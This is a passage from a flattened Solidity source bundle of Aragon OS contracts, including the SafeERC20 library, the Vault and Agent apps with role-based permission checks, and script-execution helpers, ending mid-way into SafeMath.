File: @aragon/os/contracts/common/ConversionHelpers.sol pragma solidity ^0.4.24; library ConversionHelpers { string private constant ERROR_IMPROPER_LENGTH = "CONVERSION_IMPROPER_LENGTH"; function dangerouslyCastUintArrayToBytes(uint256[] memory _input) internal pure returns (bytes memory output) { // Force cast the uint256[] into a bytes array, by overwriting its length // Note that the bytes array doesn't need to be initialized as we immediately overwrite it // with the input and a new length. The input becomes invalid from this point forward. uint256 byteLength = _input.length * 32; assembly { output := _input mstore(output, byteLength) } } function dangerouslyCastBytesToUintArray(bytes memory _input) internal pure returns (uint256[] memory output) { // Force cast the bytes array into a uint256[], by overwriting its length // Note that the uint256[] doesn't need to be initialized as we immediately overwrite it // with the input and a new length. The input becomes invalid from this point forward. uint256 intsLength = _input.length / 32; require(_input.length == intsLength * 32, ERROR_IMPROPER_LENGTH); assembly { output := _input mstore(output, intsLength) } } } // File: @aragon/os/contracts/common/ReentrancyGuard.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract ReentrancyGuard { using UnstructuredStorage for bytes32; /* Hardcoded constants to save gas bytes32 internal constant REENTRANCY_MUTEX_POSITION = keccak256("aragonOS.reentrancyGuard.mutex"); */ bytes32 private constant REENTRANCY_MUTEX_POSITION = 0xe855346402235fdd185c890e68d2c4ecad599b88587635ee285bce2fda58dacb; string private constant ERROR_REENTRANT = "REENTRANCY_REENTRANT_CALL"; modifier nonReentrant() { // Ensure mutex is unlocked require(!REENTRANCY_MUTEX_POSITION.getStorageBool(), ERROR_REENTRANT); // Lock mutex before function call REENTRANCY_MUTEX_POSITION.setStorageBool(true); // Perform function call _; // Unlock mutex after function call REENTRANCY_MUTEX_POSITION.setStorageBool(false); } } // File: @aragon/os/contracts/lib/token/ERC20.sol // See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/a9f910d34f0ab33a1ae5e714f69f9596a02b4d91/contracts/token/ERC20/ERC20.sol pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: @aragon/os/contracts/common/IsContract.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract IsContract { /* * NOTE: this should NEVER be used for authentication * (see pitfalls: https://github.com/fergarrui/ethereum-security/tree/master/contracts/extcodesize). * * This is only intended to be used as a sanity check that an address is actually a contract, * RATHER THAN an address not being a contract. */ function isContract(address _target) internal view returns (bool) { if (_target == address(0)) { return false; } uint256 size; assembly { size := extcodesize(_target) } return size > 0; } } // File: @aragon/os/contracts/common/SafeERC20.sol // Inspired by AdEx (https://github.com/AdExNetwork/adex-protocol-eth/blob/b9df617829661a7518ee10f4cb6c4108659dd6d5/contracts/libs/SafeERC20.sol) // and 0x (https://github.com/0xProject/0x-monorepo/blob/737d1dc54d72872e24abce5a1dbe1b66d35fa21a/contracts/protocol/contracts/protocol/AssetProxy/ERC20Proxy.sol#L143) pragma solidity ^0.4.24; library SafeERC20 { // Before 0.5, solidity has a mismatch between `address.transfer()` and `token.transfer()`: // https://github.com/ethereum/solidity/issues/3544 bytes4 private constant TRANSFER_SELECTOR = 0xa9059cbb; string private constant ERROR_TOKEN_BALANCE_REVERTED = "SAFE_ERC_20_BALANCE_REVERTED"; string private constant ERROR_TOKEN_ALLOWANCE_REVERTED = "SAFE_ERC_20_ALLOWANCE_REVERTED"; function invokeAndCheckSuccess(address _addr, bytes memory _calldata) private returns (bool) { bool ret; assembly { let ptr := mload(0x40) // free memory pointer let success := call( gas, // forward all gas _addr, // address 0, // no value add(_calldata, 0x20), // calldata start mload(_calldata), // calldata length ptr, // write output over free memory 0x20 // uint256 return ) if gt(success, 0) { // Check number of bytes returned from last function call switch returndatasize // No bytes returned: assume success case 0 { ret := 1 } // 32 bytes returned: check if non-zero case 0x20 { // Only return success if returned data was true // Already have output in ptr ret := eq(mload(ptr), 1) } // Not sure what was returned: don't mark as success default { } } } return ret; } function staticInvoke(address _addr, bytes memory _calldata) private view returns (bool, uint256) { bool success; uint256 ret; assembly { let ptr := mload(0x40) // free memory pointer success := staticcall( gas, // forward all gas _addr, // address add(_calldata, 0x20), // calldata start mload(_calldata), // calldata length ptr, // write output over free memory 0x20 // uint256 return ) if gt(success, 0) { ret := mload(ptr) } } return (success, ret); } /** * @dev Same as a standards-compliant ERC20.transfer() that never reverts (returns false). * Note that this makes an external call to the token. */ function safeTransfer(ERC20 _token, address _to, uint256 _amount) internal returns (bool) { bytes memory transferCallData = abi.encodeWithSelector( TRANSFER_SELECTOR, _to, _amount ); return invokeAndCheckSuccess(_token, transferCallData); } /** * @dev Same as a standards-compliant ERC20.transferFrom() that never reverts (returns false). * Note that this makes an external call to the token. */ function safeTransferFrom(ERC20 _token, address _from, address _to, uint256 _amount) internal returns (bool) { bytes memory transferFromCallData = abi.encodeWithSelector( _token.transferFrom.selector, _from, _to, _amount ); return invokeAndCheckSuccess(_token, transferFromCallData); } /** * @dev Same as a standards-compliant ERC20.approve() that never reverts (returns false). * Note that this makes an external call to the token. */ function safeApprove(ERC20 _token, address _spender, uint256 _amount) internal returns (bool) { bytes memory approveCallData = abi.encodeWithSelector( _token.approve.selector, _spender, _amount ); return invokeAndCheckSuccess(_token, approveCallData); } /** * @dev Static call into ERC20.balanceOf(). * Reverts if the call fails for some reason (should never fail). */ function staticBalanceOf(ERC20 _token, address _owner) internal view returns (uint256) { bytes memory balanceOfCallData = abi.encodeWithSelector( _token.balanceOf.selector, _owner ); (bool success, uint256 tokenBalance) = staticInvoke(_token, balanceOfCallData); require(success, ERROR_TOKEN_BALANCE_REVERTED); return tokenBalance; } /** * @dev Static call into ERC20.allowance(). * Reverts if the call fails for some reason (should never fail). */ function staticAllowance(ERC20 _token, address _owner, address _spender) internal view returns (uint256) { bytes memory allowanceCallData = abi.encodeWithSelector( _token.allowance.selector, _owner, _spender ); (bool success, uint256 allowance) = staticInvoke(_token, allowanceCallData); require(success, ERROR_TOKEN_ALLOWANCE_REVERTED); return allowance; } } // File: @aragon/os/contracts/common/VaultRecoverable.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract VaultRecoverable is IVaultRecoverable, EtherTokenConstant, IsContract { using SafeERC20 for ERC20; string private constant ERROR_DISALLOWED = "RECOVER_DISALLOWED"; string private constant ERROR_VAULT_NOT_CONTRACT = "RECOVER_VAULT_NOT_CONTRACT"; string private constant ERROR_TOKEN_TRANSFER_FAILED = "RECOVER_TOKEN_TRANSFER_FAILED"; /** * @notice Send funds to recovery Vault. This contract should never receive funds, * but in case it does, this function allows one to recover them. * @param _token Token balance to be sent to recovery vault. */ function transferToVault(address _token) external { require(allowRecoverability(_token), ERROR_DISALLOWED); address vault = getRecoveryVault(); require(isContract(vault), ERROR_VAULT_NOT_CONTRACT); uint256 balance; if (_token == ETH) { balance = address(this).balance; vault.transfer(balance); } else { ERC20 token = ERC20(_token); balance = token.staticBalanceOf(this); require(token.safeTransfer(vault, balance), ERROR_TOKEN_TRANSFER_FAILED); } emit RecoverToVault(vault, _token, balance); } /** * @dev By default deriving from AragonApp makes it recoverable * @param token Token address that would be recovered * @return bool whether the app allows the recovery */ function allowRecoverability(address token) public view returns (bool) { return true; } // Cast non-implemented interface to be public so we can use it internally function getRecoveryVault() public view returns (address); } // File: @aragon/os/contracts/evmscript/IEVMScriptExecutor.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IEVMScriptExecutor { function execScript(bytes script, bytes input, address[] blacklist) external returns (bytes); function executorType() external pure returns (bytes32); } // File: @aragon/os/contracts/evmscript/IEVMScriptRegistry.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract EVMScriptRegistryConstants { /* Hardcoded constants to save gas bytes32 internal constant EVMSCRIPT_REGISTRY_APP_ID = apmNamehash("evmreg"); */ bytes32 internal constant EVMSCRIPT_REGISTRY_APP_ID = 0xddbcfd564f642ab5627cf68b9b7d374fb4f8a36e941a75d89c87998cef03bd61; } interface IEVMScriptRegistry { function addScriptExecutor(IEVMScriptExecutor executor) external returns (uint id); function disableScriptExecutor(uint256 executorId) external; // TODO: this should be external // See https://github.com/ethereum/solidity/issues/4832 function getScriptExecutor(bytes script) public view returns (IEVMScriptExecutor); } // File: @aragon/os/contracts/kernel/KernelConstants.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract KernelAppIds { /* Hardcoded constants to save gas bytes32 internal constant KERNEL_CORE_APP_ID = apmNamehash("kernel"); bytes32 internal constant KERNEL_DEFAULT_ACL_APP_ID = apmNamehash("acl"); bytes32 internal constant KERNEL_DEFAULT_VAULT_APP_ID = apmNamehash("vault"); */ bytes32 internal constant KERNEL_CORE_APP_ID = 0x3b4bf6bf3ad5000ecf0f989d5befde585c6860fea3e574a4fab4c49d1c177d9c; bytes32 internal constant KERNEL_DEFAULT_ACL_APP_ID = 0xe3262375f45a6e2026b7e7b18c2b807434f2508fe1a2a3dfb493c7df8f4aad6a; bytes32 internal constant KERNEL_DEFAULT_VAULT_APP_ID = 0x7e852e0fcfce6551c13800f1e7476f982525c2b5277ba14b24339c68416336d1; } contract KernelNamespaceConstants { /* Hardcoded constants to save gas bytes32 internal constant KERNEL_CORE_NAMESPACE = keccak256("core"); bytes32 internal constant KERNEL_APP_BASES_NAMESPACE = keccak256("base"); bytes32 internal constant KERNEL_APP_ADDR_NAMESPACE = keccak256("app"); */ bytes32 internal constant KERNEL_CORE_NAMESPACE = 0xc681a85306374a5ab27f0bbc385296a54bcd314a1948b6cf61c4ea1bc44bb9f8; bytes32 internal constant KERNEL_APP_BASES_NAMESPACE = 0xf1f3eb40f5bc1ad1344716ced8b8a0431d840b5783aea1fd01786bc26f35ac0f; bytes32 internal constant KERNEL_APP_ADDR_NAMESPACE = 0xd6f028ca0e8edb4a8c9757ca4fdccab25fa1e0317da1188108f7d2dee14902fb; } // File: @aragon/os/contracts/evmscript/EVMScriptRunner.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract EVMScriptRunner is AppStorage, Initializable, EVMScriptRegistryConstants, KernelNamespaceConstants { string private constant ERROR_EXECUTOR_UNAVAILABLE = "EVMRUN_EXECUTOR_UNAVAILABLE"; string private constant ERROR_PROTECTED_STATE_MODIFIED = "EVMRUN_PROTECTED_STATE_MODIFIED"; /* This is manually crafted in assembly string private constant ERROR_EXECUTOR_INVALID_RETURN = "EVMRUN_EXECUTOR_INVALID_RETURN"; */ event ScriptResult(address indexed executor, bytes script, bytes input, bytes returnData); function getEVMScriptExecutor(bytes _script) public view returns (IEVMScriptExecutor) { return IEVMScriptExecutor(getEVMScriptRegistry().getScriptExecutor(_script)); } function getEVMScriptRegistry() public view returns (IEVMScriptRegistry) { address registryAddr = kernel().getApp(KERNEL_APP_ADDR_NAMESPACE, EVMSCRIPT_REGISTRY_APP_ID); return IEVMScriptRegistry(registryAddr); } function runScript(bytes _script, bytes _input, address[] _blacklist) internal isInitialized protectState returns (bytes) { IEVMScriptExecutor executor = getEVMScriptExecutor(_script); require(address(executor) != address(0), ERROR_EXECUTOR_UNAVAILABLE); bytes4 sig = executor.execScript.selector; bytes memory data = abi.encodeWithSelector(sig, _script, _input, _blacklist); bytes memory output; assembly { let success := delegatecall( gas, // forward all gas executor, // address add(data, 0x20), // calldata start mload(data), // calldata length 0, // don't write output (we'll handle this ourselves) 0 // don't write output ) output := mload(0x40) // free mem ptr get switch success case 0 { // If the call errored, forward its full error data returndatacopy(output, 0, returndatasize) revert(output, returndatasize) } default { switch gt(returndatasize, 0x3f) case 0 { // Need at least 0x40 bytes returned for properly ABI-encoded bytes values, // revert with "EVMRUN_EXECUTOR_INVALID_RETURN" // See remix: doing a `revert("EVMRUN_EXECUTOR_INVALID_RETURN")` always results in // this memory layout mstore(output, 0x08c379a000000000000000000000000000000000000000000000000000000000) // error identifier mstore(add(output, 0x04), 0x0000000000000000000000000000000000000000000000000000000000000020) // starting offset mstore(add(output, 0x24), 0x000000000000000000000000000000000000000000000000000000000000001e) // reason length mstore(add(output, 0x44), 0x45564d52554e5f4558454355544f525f494e56414c49445f52455455524e0000) // reason revert(output, 100) // 100 = 4 + 3 * 32 (error identifier + 3 words for the ABI encoded error) } default { // Copy result // // Needs to perform an ABI decode for the expected `bytes` return type of // `executor.execScript()` as solidity will automatically ABI encode the returned bytes as: // [ position of the first dynamic length return value = 0x20 (32 bytes) ] // [ output length (32 bytes) ] // [ output content (N bytes) ] // // Perform the ABI decode by ignoring the first 32 bytes of the return data let copysize := sub(returndatasize, 0x20) returndatacopy(output, 0x20, copysize) mstore(0x40, add(output, copysize)) // free mem ptr set } } } emit ScriptResult(address(executor), _script, _input, output); return output; } modifier protectState { address preKernel = address(kernel()); bytes32 preAppId = appId(); _; // exec require(address(kernel()) == preKernel, ERROR_PROTECTED_STATE_MODIFIED); require(appId() == preAppId, ERROR_PROTECTED_STATE_MODIFIED); } } // File: @aragon/os/contracts/apps/AragonApp.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; // Contracts inheriting from AragonApp are, by default, immediately petrified upon deployment so // that they can never be initialized. // Unless overriden, this behaviour enforces those contracts to be usable only behind an AppProxy. // ReentrancyGuard, EVMScriptRunner, and ACLSyntaxSugar are not directly used by this contract, but // are included so that they are automatically usable by subclassing contracts contract AragonApp is AppStorage, Autopetrified, VaultRecoverable, ReentrancyGuard, EVMScriptRunner, ACLSyntaxSugar { string private constant ERROR_AUTH_FAILED = "APP_AUTH_FAILED"; modifier auth(bytes32 _role) { require(canPerform(msg.sender, _role, new uint256[](0)), ERROR_AUTH_FAILED); _; } modifier authP(bytes32 _role, uint256[] _params) { require(canPerform(msg.sender, _role, _params), ERROR_AUTH_FAILED); _; } /** * @dev Check whether an action can be performed by a sender for a particular role on this app * @param _sender Sender of the call * @param _role Role on this app * @param _params Permission params for the role * @return Boolean indicating whether the sender has the permissions to perform the action. * Always returns false if the app hasn't been initialized yet. */ function canPerform(address _sender, bytes32 _role, uint256[] _params) public view returns (bool) { if (!hasInitialized()) { return false; } IKernel linkedKernel = kernel(); if (address(linkedKernel) == address(0)) { return false; } return linkedKernel.hasPermission( _sender, address(this), _role, ConversionHelpers.dangerouslyCastUintArrayToBytes(_params) ); } /** * @dev Get the recovery vault for the app * @return Recovery vault address for the app */ function getRecoveryVault() public view returns (address) { // Funds recovery via a vault is only available when used with a kernel return kernel().getRecoveryVault(); // if kernel is not set, it will revert } } // File: @aragon/os/contracts/common/DepositableStorage.sol pragma solidity 0.4.24; contract DepositableStorage { using UnstructuredStorage for bytes32; // keccak256("aragonOS.depositableStorage.depositable") bytes32 internal constant DEPOSITABLE_POSITION = 0x665fd576fbbe6f247aff98f5c94a561e3f71ec2d3c988d56f12d342396c50cea; function isDepositable() public view returns (bool) { return DEPOSITABLE_POSITION.getStorageBool(); } function setDepositable(bool _depositable) internal { DEPOSITABLE_POSITION.setStorageBool(_depositable); } } // File: @aragon/apps-vault/contracts/Vault.sol pragma solidity 0.4.24; contract Vault is EtherTokenConstant, AragonApp, DepositableStorage { using SafeERC20 for ERC20; bytes32 public constant TRANSFER_ROLE = keccak256("TRANSFER_ROLE"); string private constant ERROR_DATA_NON_ZERO = "VAULT_DATA_NON_ZERO"; string private constant ERROR_NOT_DEPOSITABLE = "VAULT_NOT_DEPOSITABLE"; string private constant ERROR_DEPOSIT_VALUE_ZERO = "VAULT_DEPOSIT_VALUE_ZERO"; string private constant ERROR_TRANSFER_VALUE_ZERO = "VAULT_TRANSFER_VALUE_ZERO"; string private constant ERROR_SEND_REVERTED = "VAULT_SEND_REVERTED"; string private constant ERROR_VALUE_MISMATCH = "VAULT_VALUE_MISMATCH"; string private constant ERROR_TOKEN_TRANSFER_FROM_REVERTED = "VAULT_TOKEN_TRANSFER_FROM_REVERT"; string private constant ERROR_TOKEN_TRANSFER_REVERTED = "VAULT_TOKEN_TRANSFER_REVERTED"; event VaultTransfer(address indexed token, address indexed to, uint256 amount); event VaultDeposit(address indexed token, address indexed sender, uint256 amount); /** * @dev On a normal send() or transfer() this fallback is never executed as it will be * intercepted by the Proxy (see aragonOS#281) */ function () external payable isInitialized { require(msg.data.length == 0, ERROR_DATA_NON_ZERO); _deposit(ETH, msg.value); } /** * @notice Initialize Vault app * @dev As an AragonApp it needs to be initialized in order for roles (`auth` and `authP`) to work */ function initialize() external onlyInit { initialized(); setDepositable(true); } /** * @notice Deposit `_value` `_token` to the vault * @param _token Address of the token being transferred * @param _value Amount of tokens being transferred */ function deposit(address _token, uint256 _value) external payable isInitialized { _deposit(_token, _value); } /** * @notice Transfer `_value` `_token` from the Vault to `_to` * @param _token Address of the token being transferred * @param _to Address of the recipient of tokens * @param _value Amount of tokens being transferred */ /* solium-disable-next-line function-order */ function transfer(address _token, address _to, uint256 _value) external authP(TRANSFER_ROLE, arr(_token, _to, _value)) { require(_value > 0, ERROR_TRANSFER_VALUE_ZERO); if (_token == ETH) { require(_to.send(_value), ERROR_SEND_REVERTED); } else { require(ERC20(_token).safeTransfer(_to, _value), ERROR_TOKEN_TRANSFER_REVERTED); } emit VaultTransfer(_token, _to, _value); } function balance(address _token) public view returns (uint256) { if (_token == ETH) { return address(this).balance; } else { return ERC20(_token).staticBalanceOf(address(this)); } } /** * @dev Disable recovery escape hatch, as it could be used * maliciously to transfer funds away from the vault */ function allowRecoverability(address) public view returns (bool) { return false; } function _deposit(address _token, uint256 _value) internal { require(isDepositable(), ERROR_NOT_DEPOSITABLE); require(_value > 0, ERROR_DEPOSIT_VALUE_ZERO); if (_token == ETH) { // Deposit is implicit in this case require(msg.value == _value, ERROR_VALUE_MISMATCH); } else { require( ERC20(_token).safeTransferFrom(msg.sender, address(this), _value), ERROR_TOKEN_TRANSFER_FROM_REVERTED ); } emit VaultDeposit(_token, msg.sender, _value); } } // File: @aragon/os/contracts/common/IForwarder.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IForwarder { function isForwarder() external pure returns (bool); // TODO: this should be external // See https://github.com/ethereum/solidity/issues/4832 function canForward(address sender, bytes evmCallScript) public view returns (bool); // TODO: this should be external // See https://github.com/ethereum/solidity/issues/4832 function forward(bytes evmCallScript) public; } // File: @aragon/apps-agent/contracts/Agent.sol /* * SPDX-License-Identitifer: GPL-3.0-or-later */ pragma solidity 0.4.24; contract Agent is IERC165, ERC1271Bytes, IForwarder, IsContract, Vault { /* Hardcoded constants to save gas bytes32 public constant EXECUTE_ROLE = keccak256("EXECUTE_ROLE"); bytes32 public constant SAFE_EXECUTE_ROLE = keccak256("SAFE_EXECUTE_ROLE"); bytes32 public constant ADD_PROTECTED_TOKEN_ROLE = keccak256("ADD_PROTECTED_TOKEN_ROLE"); bytes32 public constant REMOVE_PROTECTED_TOKEN_ROLE = keccak256("REMOVE_PROTECTED_TOKEN_ROLE"); bytes32 public constant ADD_PRESIGNED_HASH_ROLE = keccak256("ADD_PRESIGNED_HASH_ROLE"); bytes32 public constant DESIGNATE_SIGNER_ROLE = keccak256("DESIGNATE_SIGNER_ROLE"); bytes32 public constant RUN_SCRIPT_ROLE = keccak256("RUN_SCRIPT_ROLE"); */ bytes32 public constant EXECUTE_ROLE = 0xcebf517aa4440d1d125e0355aae64401211d0848a23c02cc5d29a14822580ba4; bytes32 public constant SAFE_EXECUTE_ROLE = 0x0a1ad7b87f5846153c6d5a1f761d71c7d0cfd122384f56066cd33239b7933694; bytes32 public constant ADD_PROTECTED_TOKEN_ROLE = 0x6eb2a499556bfa2872f5aa15812b956cc4a71b4d64eb3553f7073c7e41415aaa; bytes32 public constant REMOVE_PROTECTED_TOKEN_ROLE = 0x71eee93d500f6f065e38b27d242a756466a00a52a1dbcd6b4260f01a8640402a; bytes32 public constant ADD_PRESIGNED_HASH_ROLE = 0x0b29780bb523a130b3b01f231ef49ed2fa2781645591a0b0a44ca98f15a5994c; bytes32 public constant DESIGNATE_SIGNER_ROLE = 0x23ce341656c3f14df6692eebd4757791e33662b7dcf9970c8308303da5472b7c; bytes32 public constant RUN_SCRIPT_ROLE = 0xb421f7ad7646747f3051c50c0b8e2377839296cd4973e27f63821d73e390338f; uint256 public constant PROTECTED_TOKENS_CAP = 10; bytes4 private constant ERC165_INTERFACE_ID = 0x01ffc9a7; string private constant ERROR_TARGET_PROTECTED = "AGENT_TARGET_PROTECTED"; string private constant ERROR_PROTECTED_TOKENS_MODIFIED = "AGENT_PROTECTED_TOKENS_MODIFIED"; string private constant ERROR_PROTECTED_BALANCE_LOWERED = "AGENT_PROTECTED_BALANCE_LOWERED"; string private constant ERROR_TOKENS_CAP_REACHED = "AGENT_TOKENS_CAP_REACHED"; string private constant ERROR_TOKEN_NOT_ERC20 = "AGENT_TOKEN_NOT_ERC20"; string private constant ERROR_TOKEN_ALREADY_PROTECTED = "AGENT_TOKEN_ALREADY_PROTECTED"; string private constant ERROR_TOKEN_NOT_PROTECTED = "AGENT_TOKEN_NOT_PROTECTED"; string private constant ERROR_DESIGNATED_TO_SELF = "AGENT_DESIGNATED_TO_SELF"; string private constant ERROR_CAN_NOT_FORWARD = "AGENT_CAN_NOT_FORWARD"; mapping (bytes32 => bool) public isPresigned; address public designatedSigner; address[] public protectedTokens; event SafeExecute(address indexed sender, address indexed target, bytes data); event Execute(address indexed sender, address indexed target, uint256 ethValue, bytes data); event AddProtectedToken(address indexed token); event RemoveProtectedToken(address indexed token); event PresignHash(address indexed sender, bytes32 indexed hash); event SetDesignatedSigner(address indexed sender, address indexed oldSigner, address indexed newSigner); /** * @notice Execute '`@radspec(_target, _data)`' on `_target``_ethValue == 0 ? '' : ' (Sending' + @tokenAmount(0x0000000000000000000000000000000000000000, _ethValue) + ')'` * @param _target Address where the action is being executed * @param _ethValue Amount of ETH from the contract that is sent with the action * @param _data Calldata for the action * @return Exits call frame forwarding the return data of the executed call (either error or success data) */ function execute(address _target, uint256 _ethValue, bytes _data) external // This function MUST always be external as the function performs a low level return, exiting the Agent app execution context authP(EXECUTE_ROLE, arr(_target, _ethValue, uint256(_getSig(_data)))) // bytes4 casted as uint256 sets the bytes as the LSBs { bool result = _target.call.value(_ethValue)(_data); if (result) { emit Execute(msg.sender, _target, _ethValue, _data); } assembly { let ptr := mload(0x40) returndatacopy(ptr, 0, returndatasize) // revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas. // if the call returned error data, forward it switch result case 0 { revert(ptr, returndatasize) } default { return(ptr, returndatasize) } } } /** * @notice Execute '`@radspec(_target, _data)`' on `_target` ensuring that protected tokens can't be spent * @param _target Address where the action is being executed * @param _data Calldata for the action * @return Exits call frame forwarding the return data of the executed call (either error or success data) */ function safeExecute(address _target, bytes _data) external // This function MUST always be external as the function performs a low level return, exiting the Agent app execution context authP(SAFE_EXECUTE_ROLE, arr(_target, uint256(_getSig(_data)))) // bytes4 casted as uint256 sets the bytes as the LSBs { uint256 protectedTokensLength = protectedTokens.length; address[] memory protectedTokens_ = new address[](protectedTokensLength); uint256[] memory balances = new uint256[](protectedTokensLength); for (uint256 i = 0; i < protectedTokensLength; i++) { address token = protectedTokens[i]; require(_target != token, ERROR_TARGET_PROTECTED); // we copy the protected tokens array to check whether the storage array has been modified during the underlying call protectedTokens_[i] = token; // we copy the balances to check whether they have been modified during the underlying call balances[i] = balance(token); } bool result = _target.call(_data); bytes32 ptr; uint256 size; assembly { size := returndatasize ptr := mload(0x40) mstore(0x40, add(ptr, returndatasize)) returndatacopy(ptr, 0, returndatasize) } if (result) { // if the underlying call has succeeded, we check that the protected tokens // and their balances have not been modified and return the call's return data require(protectedTokens.length == protectedTokensLength, ERROR_PROTECTED_TOKENS_MODIFIED); for (uint256 j = 0; j < protectedTokensLength; j++) { require(protectedTokens[j] == protectedTokens_[j], ERROR_PROTECTED_TOKENS_MODIFIED); require(balance(protectedTokens[j]) >= balances[j], ERROR_PROTECTED_BALANCE_LOWERED); } emit SafeExecute(msg.sender, _target, _data); assembly { return(ptr, size) } } else { // if the underlying call has failed, we revert and forward returned error data assembly { revert(ptr, size) } } } /** * @notice Add `_token.symbol(): string` to the list of protected tokens * @param _token Address of the token to be protected */ function addProtectedToken(address _token) external authP(ADD_PROTECTED_TOKEN_ROLE, arr(_token)) { require(protectedTokens.length < PROTECTED_TOKENS_CAP, ERROR_TOKENS_CAP_REACHED); require(_isERC20(_token), ERROR_TOKEN_NOT_ERC20); require(!_tokenIsProtected(_token), ERROR_TOKEN_ALREADY_PROTECTED); _addProtectedToken(_token); } /** * @notice Remove `_token.symbol(): string` from the list of protected tokens * @param _token Address of the token to be unprotected */ function removeProtectedToken(address _token) external authP(REMOVE_PROTECTED_TOKEN_ROLE, arr(_token)) { require(_tokenIsProtected(_token), ERROR_TOKEN_NOT_PROTECTED); _removeProtectedToken(_token); } /** * @notice Pre-sign hash `_hash` * @param _hash Hash that will be considered signed regardless of the signature checked with 'isValidSignature()' */ function presignHash(bytes32 _hash) external authP(ADD_PRESIGNED_HASH_ROLE, arr(_hash)) { isPresigned[_hash] = true; emit PresignHash(msg.sender, _hash); } /** * @notice Set `_designatedSigner` as the designated signer of the app, which will be able to sign messages on behalf of the app * @param _designatedSigner Address that will be able to sign messages on behalf of the app */ function setDesignatedSigner(address _designatedSigner) external authP(DESIGNATE_SIGNER_ROLE, arr(_designatedSigner)) { // Prevent an infinite loop by setting the app itself as its designated signer. // An undetectable loop can be created by setting a different contract as the // designated signer which calls back into `isValidSignature`. // Given that `isValidSignature` is always called with just 50k gas, the max // damage of the loop is wasting 50k gas. require(_designatedSigner != address(this), ERROR_DESIGNATED_TO_SELF); address oldDesignatedSigner = designatedSigner; designatedSigner = _designatedSigner; emit SetDesignatedSigner(msg.sender, oldDesignatedSigner, _designatedSigner); } // Forwarding fns /** * @notice Tells whether the Agent app is a forwarder or not * @dev IForwarder interface conformance * @return Always true */ function isForwarder() external pure returns (bool) { return true; } /** * @notice Execute the script as the Agent app * @dev IForwarder interface conformance. Forwards any token holder action. * @param _evmScript Script being executed */ function forward(bytes _evmScript) public { require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD); bytes memory input = ""; // no input address[] memory blacklist = new address[](0); // no addr blacklist, can interact with anything runScript(_evmScript, input, blacklist); // We don't need to emit an event here as EVMScriptRunner will emit ScriptResult if successful } /** * @notice Tells whether `_sender` can forward actions or not * @dev IForwarder interface conformance * @param _sender Address of the account intending to forward an action * @return True if the given address can run scripts, false otherwise */ function canForward(address _sender, bytes _evmScript) public view returns (bool) { // Note that `canPerform()` implicitly does an initialization check itself return canPerform(_sender, RUN_SCRIPT_ROLE, arr(_getScriptACLParam(_evmScript))); } // ERC-165 conformance /** * @notice Tells whether this contract supports a given ERC-165 interface * @param _interfaceId Interface bytes to check * @return True if this contract supports the interface */ function supportsInterface(bytes4 _interfaceId) external pure returns (bool) { return _interfaceId == ERC1271_INTERFACE_ID || _interfaceId == ERC165_INTERFACE_ID; } // ERC-1271 conformance /** * @notice Tells whether a signature is seen as valid by this contract through ERC-1271 * @param _hash Arbitrary length data signed on the behalf of address (this) * @param _signature Signature byte array associated with _data * @return The ERC-1271 magic value if the signature is valid */ function isValidSignature(bytes32 _hash, bytes _signature) public view returns (bytes4) { // Short-circuit in case the hash was presigned. Optimization as performing calls // and ecrecover is more expensive than an SLOAD. if (isPresigned[_hash]) { return returnIsValidSignatureMagicNumber(true); } bool isValid; if (designatedSigner == address(0)) { isValid = false; } else { isValid = SignatureValidator.isValidSignature(_hash, designatedSigner, _signature); } return returnIsValidSignatureMagicNumber(isValid); } // Getters function getProtectedTokensLength() public view isInitialized returns (uint256) { return protectedTokens.length; } // Internal fns function _addProtectedToken(address _token) internal { protectedTokens.push(_token); emit AddProtectedToken(_token); } function _removeProtectedToken(address _token) internal { protectedTokens[_protectedTokenIndex(_token)] = protectedTokens[protectedTokens.length - 1]; protectedTokens.length--; emit RemoveProtectedToken(_token); } function _isERC20(address _token) internal view returns (bool) { if (!isContract(_token)) { return false; } // Throwaway sanity check to make sure the token's `balanceOf()` does not error (for now) balance(_token); return true; } function _protectedTokenIndex(address _token) internal view returns (uint256) { for (uint i = 0; i < protectedTokens.length; i++) { if (protectedTokens[i] == _token) { return i; } } revert(ERROR_TOKEN_NOT_PROTECTED); } function _tokenIsProtected(address _token) internal view returns (bool) { for (uint256 i = 0; i < protectedTokens.length; i++) { if (protectedTokens[i] == _token) { return true; } } return false; } function _getScriptACLParam(bytes _evmScript) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(_evmScript))); } function _getSig(bytes _data) internal pure returns (bytes4 sig) { if (_data.length < 4) { return; } assembly { sig := mload(add(_data, 0x20)) } } } // File: @aragon/os/contracts/lib/math/SafeMath.sol // See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/d51e38758e1d985661534534d5c61e27bece5042/contracts/math/SafeMath.sol // Adapted to use pragma ^0.4.24 and satisfy our linter rules pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { string private constant ERROR_ADD_OVERFLOW = "MATH_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this 